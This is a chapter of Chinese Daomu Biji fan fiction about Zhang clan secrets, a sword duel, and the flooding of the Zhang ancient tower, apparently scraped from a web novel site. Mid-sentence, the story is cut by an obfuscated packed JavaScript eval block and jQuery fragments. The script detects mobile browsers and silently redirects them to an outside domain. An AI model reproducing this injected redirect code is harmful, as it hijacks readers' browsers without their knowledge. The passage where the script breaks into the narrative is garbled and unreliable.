76.第7章·我们仍只知道那年张家古楼被水淹了
作品:《【盗笔】黎簇的西藏笔记》 我和张锦予离开房间的时候,看见站在地上还在行走的小强,红程里二话不说的把他押回了轮椅上,看着他俩去打算把六角铃铛放回档案馆七层扬长而去的背影。
我不禁感慨姓黎的怎么好像和轮椅绑定了一样?
江小刀看见我立马凑了上来然后迅速弹开,我知道我现在的周围气压确实比较奇怪,但是江小刀这个逼还是凑上来问我在里面这么久都聊了些什么,我不想理这把江都手里面的刀,转头就看见了同样气压很奇怪的吴邪。
吴邪的手里拿着打火机,开一下灭一下,我知道他面对着一个渐渐显露的巨大谜团,推翻了他曾经以为的一切,他也很头大,但是在我的那句“吴邪抽烟了”之后胖爷看吴邪比看鸡仔都紧,我暗地里笑了一下。
一旁的江小刀见我脸上的表情变化变得如此之快,问着他哥:“哥,还有得救吗?我不想要这个爹。”
江大刀闭上了他的双眼,顺便在江小刀的头上来了一个拳头。
七指非常不要脸的来到他们的上边,摸了摸江小刀的脑袋说道:“孙子,让这小王八羔子当你爹已经不错了,瑞桐那小子从小娘子刚来张家的那一天就把她拐来当童养媳养,你总不想你爹长那样吧?”
他指向了张家山派叽叽喳喳的那群人说道,江小刀不可置信的看着他指着我问:“这条件不比这好?”
七指没有回答他的话,而是又用着他那七指摸了摸自己的下巴看着山派的人想着什么事:“我是听说小娘子之前想谈过对象,好像就是个张家人,叫什么……”
七指的话还没有说完,我就已经开始对着山派的人活动着我的筋骨,可是在七指说出那个名字的那刻,有人跑得比我还快。
“董灿”那个名字从七指嘴巴里说出了口的那一瞬间,我还没来得及问为什么这个人姓董,一直没怎么说话的嘎洛突然间就怒了。
看见那像一阵风一样出现在我眼前的会闪现的超人,丝毫没有人情世故的一拳挥在七指脸上的那刻,我不禁再次感慨:
幸好是七指,不然会死。
七指眼疾手快的挡住了嘎洛的攻势,还是退了几步,活得久还是经验多,他伺机就掏出了嘎洛腰间的江都的短刀,十三居的人实力也不是说说的,嘎洛直接拔出了长刀架在七指的脖子上,七指就算有七根指头但还是输在了刀长,还在等他们之间还有什么火花的时候,伤不到嘎洛的七指就先表态了:
“不和十三居的这些变态打架,疼死了,算我记错了,我以后不在你们岗日的面前提康巴洛的人。”
这不明摆着没记错吗!
话说回来我记得当时歇居开大会之前江都还把丹和丹杰布都叫来了,看起来康巴洛和岗日的仇恨也不是特别深啊?还是说江都单方面和他们和解了?
吴邪在十三居的时候也在嘎洛的面前提过康巴洛,对比起来还真是给了他们不少的面子,也可能是七指真喜欢到处犯贱。
七指低头撇了一眼架在脖子上的刀,三根指头捏上了刀刃轻轻的推了两下,见嘎洛收了力道他也不装了,直接将短刀的刀面一横,刺向了嘎洛的手腕,再将长刀一挑,一时间没注意的嘎洛脱手,手中的长刀飞了起来,七指抢先一步把短刀塞在一脸懵的嘎洛的手里,自己去接住那把长刀。
“还是张锦予做的刀好啊。”七指反复欣赏了一下手里的刀,看着反光下出现在刀面上若隐若现的一面白虎,一面孔雀说道,又拍了一下嘎洛背上的刀鞘,撇了一眼我接着说:“连刀鞘都这么好看,比那个什么汪藏海的子母刀品味高多了。”
我看着七指搞出的破动静,只想说明朝的时候他待的怕不是钦天监而是东厂吧。
有够贱的。
我们这的动静还是引来了周围人的目光,七指非常有当显眼包的潜质,看见张起灵来的时候向着他吹了一个口哨,把手里的刀还给了嘎洛,看了一眼俩人,然后带着玩味的调侃:“唉,你俩打一架,让我看看。”
嘎洛像早就知道七指要整这出,把刀鞘和短刀给了江大刀,拿着长刀二话不说的就上了,莫名其妙被约架的张起灵被想看热闹的吴邪推了出去,看着他们两个人都摆好架势的时候我还是非常的期待。
七指让两个人都别下死手,他是真的怕到时候场面控制不住,江都突然就杀过来取他的狗命。
我记得汪家的白课上教过张家人的攻击方式非常迅捷,以最快速度解决对手为第一要务,最快速度调动身体所有的能量充盈肌肉发出最大的力量,神经和速度达到最快的反应,看到现场版的我不禁感慨汪家课上对张家的评价还是收敛了。
嘎洛的刀法和张明山,江大刀的常用套路好像不太一样,十三居的藏民几乎没有一言不合就打架的习惯,我也确实没怎么看过她用长刀的样子,不确定嘎洛现在用的这套刀法从何而来,却有一个奇怪的共同特点:
他们用刀不要求速度和力量,而是尽可能的以最小的体力消耗并接住对方的攻势,像是在给自己留退路。
张家人讲究快,他们讲究的就是拖,往死里拖,基本上都是挡,退或者借力打力,看似节节败退,但永远存一口气,似乎就在等着对方的破绽而后一击毙命。
留一手,但不留余地。
两种刀法就像两个极端,互相制约,单从刀法上看完全不分伯仲。
“老头,我听十三居的说嘎洛爷爷打不过我妈这件事是真的吗?”江小刀看着眼前对打的俩人说道。
这也是我认为他们的刀法不一样的地方,很早的时候我就注意到江都拿刀的时候很少暴力过,而且她其实似乎更喜欢徒手干碎对方。
七指听完江小刀话,很是不满意“老头”这个称呼,想耗了一把他的头,却发现自己现在的身高好像有些不太够,看着小刀殷切的眼神还是回答:“性别优势在正常情况下还是很难克服的。”
这个答案也在我的意象之内,江小刀似乎有些失落,七指看着他似笑非笑的接着说:
“我说的是一般情况。”
“什么意思?”我看着七指脸上扬起的笑,这个喜欢话说一半不说全的习惯,想起了一个熟悉的贱人,我的拳头莫名的有点硬。
“海拔3000米以上是她的领域,天时地利人和,阎王来了都要挨她两巴掌,就算是康巴洛的人和钦天监联手再追杀她一次,她也能把那些人全部耗死。”他笑着和我们说道。
“是因为她不会高反吗?”我问道。
“不是,其实你可以问问瞎子,他知道这件事,况且……
七指的话没有说完,却看见嘎洛再一次挡住了张起灵劈来的刀,想起了江都和张瑞桐在长白山上天天打架研究刀法的岁月,或许也该让他们知道一些东西了。
“看出来了吗?这可是你们张家自己的东西。”七指踢了一脚张休山问道。
“嘎洛的刀法和我哥教的一样,我们从小学的不是张家的刀法吗?”张休山看着嘎洛的刀法越来越熟悉,从小开始不管是江都还是张景山教授他们的刀法和嘎洛现在展示在他们面前的一模一样。
海派和张家本家出来的人基本上都是偏向于张家传统的作战方式,但是山派的不一样,在西部档案馆搬入茶马古道之后,山派张家人的攻击方式就开始变化了套路。
张休山虽然在本家出生,但是十余岁的时候就知道山派和海派是分开培养的,过了十几年便随着家人脱离本家搬进了广西茶马古道的深处。
教授他们的人也从自己的亲长和父母变成了早就在那里等候多时的张锦予和山派的老大张景山,也是在那时他有意无意的感到自己现在所学的一切和之前的不一样,但因为自己爷爷也算是家族里独一支惯用暗器的,他所习惯使用的袖箭也在暗器的范围里,以为是爷爷为了他们特意精进原先的套路,便没怎么在意。
现在来看张家山派学习规划在就脱离了本家的常规,他们的父母被从而干涉这件事,早就明白他们的孩子将来一定会面对什么。
或者说张家留了一部分人用来对付张家自己。
七指会心一笑,不知道什么时候拿下了张明山腰间的扇子飞向了两人中间,让他们俩个人收手,张明山看见飞出去的自己的扇子非常幸运的阻止了即将碰在一起的两把刀,也很想让七指也飞出档案馆。
张起灵收回了刀,七指见他背上背着的是两把,还以为是他觉得刀不好用所以背了两把,看见了刚从地下上来的张锦予,对着张起灵说道:
“你要是觉得你手里的那俩把刀不好用,可以现在让张锦予回小阳寨给你做一把,你手里一把虽然原先是给张瑞桐那小子打的,但也是这人做的,蚩尤用金做兵器的传说可不假,正儿八经九黎出来的人打铁一绝,他看过那么多费洛蒙啥都会一点,年纪又大,是个全才。”
不太正经的九黎人笑了,我的老祖宗怎么没有把才艺留给我呢?
张锦予被红程里推着向我们走来,看着虎视眈眈盯着自己的一群人,意识到七指说了什么耸了耸肩,躺在轮椅里无奈的笑道:“解家的那把就是我做的,解连环现在还没付钱,还有吴三省让江小娘子去张家古楼取刀的酬劳也没结清,她也说了在他们俩还钱之前中部档案馆的生意一律不接,接了的一律搞砸。”
胖爷听完张锦予算的帐,意识到数目有点大,推了一下吴邪说道:“不是吧?三爷他们是把九门都抵在这了?合着那个姓江的小姑娘窜通黑爷,招呼我们过来就是为了和咱们讨债吧?要不把小哥抵这,我们先跑。”
吴邪表示非常同意,奈何队伍里还有一个暂时和他哥一条心的刘丧,还有一个听着一堆旧事现在还有点在云里雾里的张家现任族长,七指带着他礼貌的微笑提溜着他们的后领,身高不够正好可以造成一些压迫的窒息感,他笑着看着两位说道:
“小朋友们,大人们说话偷偷溜走是很不礼貌的事情哦~”
张锦予看着死了这么多次脾气和性格没有一点变化的七指扶额摇了摇头,叹了口气说道:“七老头,还有什么要讲的话就快点讲,你时间已经不多了。”
张锦予的话说完,七指却沉默了,放下了手里的两个人,我也知道了他们话里一直再强调的东西。
时间。
他们的时间不够了。
七指收起了自己的毕方扣,伸了个懒腰看着张锦予,又看了一眼一直站在主楼边缘看着一切的张瑞梧,无奈的摊开手却一改往常严肃开口:
“瑞梧你别拦我,我知道你在担心自己的孙子孙女们,这是他们必须要面对的事情,他们也不能永远待在茶马古道,张家人也必须明白山海两派分离最开始就是为了保护张家古楼最后一层的秘密必须改变的机制。”
从知道张家出现内鬼的那天,进入张家内部的规则也开始了一个翻天覆地的变化。
两枚手环,两只铃铛,两位族长,再到山海两派。
张家一切的秘密,
在江都等人的到来后被藏起来一半。
张家人没有办法独自进入张家古楼,张瑞朴和张瑞桐之间的手足相残,山海两派的渐行渐远开始也注定了张家古楼里的秘密永远该被埋葬在了湖水之下。
什么山海不聚,从来都是为了掩埋真相服务的谎言,张家人越是相信这句话,那些掩盖真相的谎言也就越真实。
钦天监就算知道进入最后一层的办法,那又怎样;张家族老就算控制了年幼的张起灵,那又怎样;就算有人拿到了进入张家古楼的钥匙,那又怎样。
只要山海不齐,秘密永远是秘密。
“江小娘子就让我告诉你们这些,另外一个二响环现在先放在歇居的人那里,去张家古楼的时候先给我们几个老东西打报告,省得我们连救人的准备都没做好,你们几个就突发奇想杀到张家古楼给了我们一个大惊喜,这也是她决定水淹那里的原因之一;还有一件棘手的事张家古楼的最后一层现在有人蛊,尽量不要用六角铜铃,那些可是真的杀人不眨眼的东西,万事小心,我会派人最大程度的保护你们的安全。”
七指说完笑着看向张锦予,却对着张家山海两派的人说道:
“小家伙们,当你们踏进张家古楼最后一层的那刻就会明白为什么我们永远困在其中了。”
泗水古城事发后的20多年后,那枚藏在泗水的六角铃铛也已经被拿出来了好多年,他们三个人张家的外姓人再次聚在了一起,为了将泗水里的所有人带回张家古楼封在了哨子棺里。
没人知道这20年间他们几个人到底经历了什么。
张锦予独自一人去了一次长白见了终极,最后被七指和江都用蛮力从那扇门里揪了出来,勉强捡回了命,也明白了听雷的故事和那个挡在禁忌面前的阻碍到底是什么,他又回了一次湘西后来也不知道去了哪里;
七指从长白一别后再也没有出现,听江都的人说他去了古潼京,在那里待了很久;
江都在康巴洛阎王祭祀前回了西藏,之后毫无音讯。
江都看着已经空无一人的张家古楼问七指能不能想个办法把这里给淹了,七指问过她为什么,她倒是开玩笑般说着:“干千年,湿万年,不干不湿就半年,瑞桐教的,我看看到底是不是真的。”
话是真的,但七指知道这不是玩笑,江都面无表情的说着一切就像他们第一次见面那样,她已经很久不这样了,从前的她经常用最平静的语气诉说那些让人心头一震的话语。
她从怀里拿出了那枚本该属于张家的长柄六角铃铛交给了张锦予,打开了那张藏了很久或许再也没有打开机会的帛书,看着上面的字想起了第一次来到张家时的经历,莫名其妙的问道:
“听过蠃鱼的故事吗?”
“传说中会带来大水的鱼,江南百姓曾经为了防御洪水而捕杀蠃鱼,并将它们的尸体挂在城门口,作为一种驱逐水灾的仪式。”七指看向江都,她站在山崖之上看着坑底的张家古楼,这里没有给他们留下什么好的回忆,七指反问道:
“人不是好人,鱼不是好鱼,不是吗?”
江都没有回答七指,取下来手腕上的红绳挂在身边的树上,蹲在树下堆着一个小小的玛尼堆,轻声呢喃着超度众生的佛经,再次起身的江都看着开始雷鸣作响的天空飘起了大雨,知道老天爷还是满足了她的要求。
“七指,带来大水的从来不是蠃鱼。”她向着天空看去。
“我们也当回蠃鱼怎么样?”她问道。
瓢泼的大雨连着下来三四个月,被打通的地下河早晚会在在谷底凝聚成了一片湖泊,或许几日,或许几年,但终有一天大水将淹没一切痕迹,洗刷一切肮脏,埋葬真相,谁又会知道这里到底埋藏了什么。
得水的蠃鱼将再次张开双翼飞向远方,无知的人类杀死了蠃鱼,大水为冲刷罪恶而来。
从未认识到错误的人们和被赋予噩兆的蠃鱼似宿敌般在轮回里拼命厮杀。
世人愚昧,不分是非,堕入轮回,无复出焉……
和他们有什么区别……
笑话……一场天大的笑话……
那件事结束后张锦予回到了西部档案馆,那里的孩子都等着他回去;江都默不作声的离开,七指回头看见她的背影,觉得今天的她好像走得很快,从前的江都总跟在他和张瑞桐的身后,从未离开过西藏
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16303298|180316||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的她学习着她身边新奇的一切,那时的她什么都不会,像一滩死水没有波动,没有潮汐,没有情感。
他们总要回头看看她在不在身后,才会接着往前走。
这一回七指再次回头却找不到了她的身影,向前一看她早就走在了自己的前面。
她跑得太快了,当他们想停下回头看看她在哪里的时候,才知道她早已在前方,或者说她一直在他们的前面,只是有些人以为要等她罢了。
而张瑞桐却已经消失在了自己的身边。
“如果一切结束,你打算去哪看看。”七指没有拦住江都,而是看着她的背影问道。
江都听见了七指的声音,顿了一下脚步,她在犹豫,她想回头。
却只留下了一句:
“有人告诉我墨脱是西藏的江南,我也想去看看真正的江南长什么样。”
她消失在了广西的深山之中,七指只知道她向西走了,和江南越走越远,也是在那天之后七指找到了一个没有人知道的地方,建了一个叫歇居的院子,想让她停下。
或者说多陪他一下,他们都已经精疲力尽,也他们都遍体鳞伤……
他们已经不能再失去什么了……
白驹过隙,岁月变迁,
再见面又是猴年马月,
却早已物是人非好多年。
七指看向张起灵,想起了那个襁褓里的孩子,那个不应该成为张起灵的人,结果成为了那个可以代表张家的人,无奈的笑了一下,摇了摇头从怀里拿出一个盒子,直接飞到了他的手上。
“这是你母亲留给你的遗物,里面是一枚藏海花的种子,咱家那个小妮子找了这个东西挺久的。”张起灵似乎想问些什么,又被七指拒绝,他接着说:
“不要问她是从那里来的,也不要问她会不会生根发芽,更不要问她里面的费洛蒙记录着什么。”
“化生意为无所依托,无而忽生。”
“不要低估你母亲对你的在乎,当你真的需要她的时候,她会窜得比昨天夜里长出来的笋还快。”
七指看着他卡壳了一下,他还是喊不出张起灵这个名字,也不知道他到底叫什么,只是说道:
“白玛的孩子,张家古楼你还是不用去,西北有更加需要你的地方,有人已经在那里等你们很久了,那里也更加危险,更加接近你想要知道的一切,我希望我们还有再次见面的机会。”
“当然,你们几个也不是闲的,对付钦天监的任务还是要交给你们几个歇居的。”七指突然间看向我,却向着张明山飞来一张黑卡,“钦天监的鸿门宴,做好迎接准备,时间不早了,我也该走了。”
七指朝着张休山贱兮兮的笑了一下,看着张瑞梧的方向,见他点了点头便说道:“休小子,我告诉你一个秘密,这件事连江小娘子都不太清楚……
“他还没死。”他说道。
“谁!”张休山突然冲向了七指,张瑞梧的金钱镖挡住了张休山的去路,一阵烟雾从七指的脚边扬起,片刻烟雾扩散,七指的身影消失在了张家西部档案馆所有人的眼前,张休山推开了阻拦他的人,闯进了烟雾,只在空中留下一句:
“瑞梧,等我回来请你喝茶。”
“还有黎簇,日喀则开了一家江西大众小炒,味道挺正可以顺便去坐坐,说不定可以看见想见的人。”
烟雾散尽,一脸迷茫的张休山站在雾里回头看着自己的爷爷,不断的问道:“是谁没死?”
“是谁没死!”
控制不住的张休山终是将手中的袖箭对着自己的爷爷,离张休山较近的张锦予飞快的出手,连张休山自己都没反应过来就被卸下了手腕上的袖箭,张锦予压不住他,就在我以为上一回的大场面又要上演一遍的时候,张瑞梧来到了张休山的面前,看着眼前这个他其实也不敢面对的孩子,也不知道从哪里开口才能讲诉清楚其中的原因。
近乎崩溃的张休山,只能带着无助和迷茫向着张瑞梧喊道:“老爷子!你TM凭为什么要帮他们!凭什么要我一家去承担这些!她自己手底下有怎么多人凭什么要自己人给她陪葬!”
“你TM告诉我为什么!”
张瑞梧还是没有开口,只是平静的看着他,就像张行山他们的死讯传回张家时,他的爷爷好像早就知道这些,做好了准备迎接这个消息,只把悲伤和无措留给了他。
张休山本该是整个山派最快乐的孩子。
本该是这样的……
如果没有当年的事,就应该是这样的……
最擅长用弓箭的妹妹死于枪杀;无辜的张仰山被卷入其中,从雪山之巅跳下,留下的只有他和自己永远达不成的约定;弟弟投靠了钦天监,也殒命于钦天监,成为了一个笑话;哥哥留下了还活着的线索却无踪可寻。
一切都没了,他也成了孤身一人。
“你可以去日喀则亲自问问他,当年到底发生了些什么。”
张瑞梧终是不忍,告诉了他一丝更似绝望的希望,交给了他一封年代很久远的信。
他说董灿曾经给档案馆送过多次消息,其中有一件便是他在日喀则待过一段时间却无意间找到了一位张家人,他不知道那个人是谁,也不知道他为什么会选择待在这里,只知道那个人说他不回来。
那个人不想回来……
烟雾散尽。
七指有些狼狈的顺着岩壁间一条隐蔽的小路爬上来天坑的顶部,边骂道:“烦死老子了,一个个问题死多,脾气还大。”
有人已经在那里蹲很久了,站起身拉了他一把。
七指气喘吁吁的坐在了她边上,看了眼面无表情的人问道,她没有说话,低头却看见她脚边又堆砌起了一座小小的玛尼堆,开玩笑的说:“你不会想把这也淹了吧。”
“我没你那么闲,日喀则的那群人还等着我回去救场呢。”江都看着几乎崩溃的张休山,知道了七指和他们说了些什么,她亏欠张休山的终是要还的。
“汪玖说汪家今年年末有场年会,你去不去?”七指问道。
江都的眉头皱了一下,本想拒绝却想起了一个被吴邪漏掉的人,反倒笑道:”反正都是鸿门宴,多去一次也不亏,也好看看新的汪家首领是谁。”
“你还真是越来越有我的风范了。”
“所以瑞桐当年让我们离你远点还是很有道理的。”
“解决汪岑,抢救汪灿,提拔汪雨,该不会你还想为了那小子真准备自己造一个汪家玩玩?”七指一脸坏笑的看着江都,江都却还是盯着西部档案馆里的人看,不知道目光锁定了谁。
“为了他?那倒真不至于,但说不定我还可以整出一个新的钦天监。”江都突然回头看着七指,吃着瓜的七指被打了一个措手不及,眼神开始四处乱飘,看得江都眉头紧锁以为他又发病了。
“老头,我也有一个问题。”江都终是给了七指一个台阶,她问道:
“黎嵩是你的人,他是谁?”
七指早就知道有一天江都会问这个问题,只是自己也有一个问题想问江都,摸了摸下巴反问道:“你先告诉我汪雨和黎广之间到底在整什么幺蛾子,我就告诉你黎嵩是谁。”
“我就知道。”江都起身伸了个懒腰,他们之间该说的都说了,不该说的也应该烂在肚子里,她点起了三根烟插在地上说道,“您老人家800个心眼子,还不如不说来的划算。”
“你也好不到哪去。”
“彼此彼此,咱们日喀则见,你可别来迟了,汪家现在考勤表在我手上,再来迟就和全勤奖拜拜。”
“江都!你!好!歹!毒!的!心!”